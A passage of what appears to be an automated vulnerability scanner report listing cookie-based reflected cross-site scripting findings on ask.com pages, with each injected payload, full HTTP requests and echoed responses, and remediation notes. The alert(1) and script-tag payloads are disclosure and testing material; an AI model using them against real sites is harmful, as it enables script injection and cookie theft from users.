Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 89518

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
<iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=074DCFE874F3F30B5FA9E877A6187EDA7d0a4'-alert(1)-'33276c18830;u4=;u3=;u2=0;ord=-349459782?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialogs
...[SNIP]...

2.11. http://www.ask.com/blogsearch [wz_uid cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ask.com
Path:   /blogsearch

Issue detail

The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 54944'-alert(1)-'b88ed0e9dd4 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /blogsearch?qsrc=0&o=0&l=dir5fb41 HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjAzOjI1LVVUQw%3D%3D&po=0&pp=dir5fb41%27%3Balert%28document.cookies%29%2F%2Fd1f92dec88a; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|1; qc=0; cu.wz=0; gcht=; wz_sid=0B45CFE073F3F30B5FA9E877A6187EDA; wz_uid=074DCFE874F3F30B5FA9E877A6187EDA54944'-alert(1)-'b88ed0e9dd4; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user="o=0&l=dir5fb41'; __utmb=252994457.2.10.1290271572;

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 18:03:16 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ldst=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 18:03:16 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: user=o=0&l=dir5fb41; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE4OjAzOjE2LVVUQw%3D%3D&po=0&pp=dir5fb41; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:03:16 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:03:16 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 89518

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
<iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=074DCFE874F3F30B5FA9E877A6187EDA54944'-alert(1)-'b88ed0e9dd4;u4=;u3=;u2=0;ord=-283002203?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialogs
...[SNIP]...

2.12. http://www.ask.com/homepage [wz_uid cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ask.com
Path:   /homepage

Issue detail

The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 203e3'-alert(1)-'327530facef was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /homepage HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=0C41C9EC70F2B3A933ADE477A41477DA203e3'-alert(1)-'327530facef; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=dir; __utmb=252994457.2.10.1290271572;

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 17:11:18 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 17:11:18 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjExOjE4LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:11:18 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:11:18 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 77337

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
<iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_h504;u1=0C41C9EC70F2B3A933ADE477A41477DA203e3'-alert(1)-'327530facef;u4=;u3=;u2=0;ord=-1313429672?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialog
...[SNIP]...

2.13. http://www.ask.com/pictureslanding [user cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ask.com
Path:   /pictureslanding

Issue detail

The value of the user cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ef5aa'-alert(1)-'3edbb990812 was submitted in the user cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /pictureslanding HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=0C41C9EC70F2B3A933ADE477A41477DA; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=diref5aa'-alert(1)-'3edbb990812; __utmb=252994457.2.10.1290271572;

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 16:58:30 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 16:58:30 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjU4OjMwLVVUQw%3D%3D&po=0&pp=diref5aa%27-alert%281%29-%273edbb990812; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:58:30 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 16:58:30 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 58798


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>


<title>Im
...[SNIP]...



var _matchUrl = '/afc-match?q=&page=1&ac=24&qid=A90335E3731F52B836174ECB80DEBDFB&qsrc=121&dm=all&qrt=2&lid=&o=0&l=diref5aa'-alert(1)-'3edbb990812';


_matchUrl+= "&userip=174.122.23.218";


_matchUrl+="&losid=a&locid=ph&lodid=us";


...[SNIP]...

2.14. http://www.ask.com/pictureslanding%3Fo%3D0%26l%3Ddir5fb41%27%253Balert(1 [wz_uid cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ask.com
Path:   /pictureslanding%3Fo%3D0%26l%3Ddir5fb41%27%253Balert(1

Issue detail

The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 64b88'-alert(1)-'a597c89dd3c was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /pictureslanding%3Fo%3D0%26l%3Ddir5fb41%27%253Balert(1 HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjAzOjI1LVVUQw%3D%3D&po=0&pp=dir5fb41%27%3Balert%28document.cookies%29%2F%2Fd1f92dec88a; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|1; qc=0; cu.wz=0; gcht=; wz_sid=0B45CFE073F3F30B5FA9E877A6187EDA; wz_uid=074DCFE874F3F30B5FA9E877A6187EDA64b88'-alert(1)-'a597c89dd3c; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user="o=0&l=dir5fb41'; __utmb=252994457.2.10.1290271572;

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 18:01:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ldst=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 18:01:13 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: user=o=0&l=dir; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE4OjAxOjEzLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:01:13 GMT; Path=/
Set-Cookie: jss=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:01:13 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:01:13 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 89390

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
<iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=074DCFE874F3F30B5FA9E877A6187EDA64b88'-alert(1)-'a597c89dd3c;u4=;u3=;u2=0;ord=-51669521?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialogs,
...[SNIP]...

2.15. http://www.ask.com/pictureslanding%3Fo%3D0%26l%3Ddir5fb41%27%3Balert(DOCUMENT.COOKIES [wz_uid cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ask.com
Path:   /pictureslanding%3Fo%3D0%26l%3Ddir5fb41%27%3Balert(DOCUMENT.COOKIES

Issue detail

The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8dabc'-alert(1)-'59d45fee295 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /pictureslanding%3Fo%3D0%26l%3Ddir5fb41%27%3Balert(DOCUMENT.COOKIES HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjAzOjI1LVVUQw%3D%3D&po=0&pp=dir5fb41%27%3Balert%28document.cookies%29%2F%2Fd1f92dec88a; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|1; qc=0; cu.wz=0; gcht=; wz_sid=0B45CFE073F3F30B5FA9E877A6187EDA; wz_uid=074DCFE874F3F30B5FA9E877A6187EDA8dabc'-alert(1)-'59d45fee295; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user="o=0&l=dir5fb41'; __utmb=252994457.2.10.1290271572;

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Sat, 20 Nov 2010 18:00:49 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ldst=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 18:00:49 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: user=o=0&l=dir; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE4OjAwOjQ5LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:00:49 GMT; Path=/
Set-Cookie: jss=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:00:49 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:00:49 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 89393

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
<iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=074DCFE874F3F30B5FA9E877A6187EDA8dabc'-alert(1)-'59d45fee295;u4=;u3=;u2=0;ord=-1137438782?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialog
...[SNIP]...

2.16. http://www.ask.com/video [wz_uid cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ask.com
Path:   /video

Issue detail

The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload aa397'-alert(1)-'4521f1aa434 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /video?qsrc=0&o=0&l=dir5fb41 HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjAzOjI1LVVUQw%3D%3D&po=0&pp=dir5fb41%27%3Balert%28document.cookies%29%2F%2Fd1f92dec88a; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|1; qc=0; cu.wz=0; gcht=; wz_sid=0B45CFE073F3F30B5FA9E877A6187EDA; wz_uid=074DCFE874F3F30B5FA9E877A6187EDAaa397'-alert(1)-'4521f1aa434; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user="o=0&l=dir5fb41'; __utmb=252994457.2.10.1290271572;

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 18:01:50 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ldst=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 18:01:50 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: user=o=0&l=dir5fb41; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE4OjAxOjUwLVVUQw%3D%3D&po=0&pp=dir5fb41; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:01:50 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 18:01:50 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 89506

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
<iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=074DCFE874F3F30B5FA9E877A6187EDAaa397'-alert(1)-'4521f1aa434;u4=;u3=;u2=0;ord=-844384763?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialogs
...[SNIP]...

2.17. http://www.ask.com/web [wz_uid cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ask.com
Path:   /web

Issue detail

The value of the wz_uid cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec63a"><script>alert(1)</script>7e00dc9945 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /web?q=What+causes+brain+freeze%3F&gc=1&qsrc=3045&o=0&l=dir HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=ec63a"><script>alert(1)</script>7e00dc9945; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=dir; __utmb=252994457.2.10.1290271572;

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 17:08:44 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 17:08:43 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..|V2hhdCtjYXVzZXMrYnJhaW4rZnJlZXplJTNG; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjA4OjQzLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:08:43 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:08:43 GMT; Path=/
Set-Cookie: qc=1; Domain=.ask.com; Path=/
Content-Length: 118345


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">


<html>


<head>
   

<title>Ask.com - What's Yo
...[SNIP]...
<iframe src="http://fls.vulnerable.ad.partner/activityi;src=2903398;type=serpy918;cat=ask_s255;u1=ec63a"><script>alert(1)</script>7e00dc9945;u4=;u3=;u2=0;ord=-782283219?" width="1" height="1" frameborder="0">
...[SNIP]...

2.18. http://www.ask.com/web [wz_uid cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ask.com
Path:   /web

Issue detail

The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1db9e'-alert(1)-'dc71632913f was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

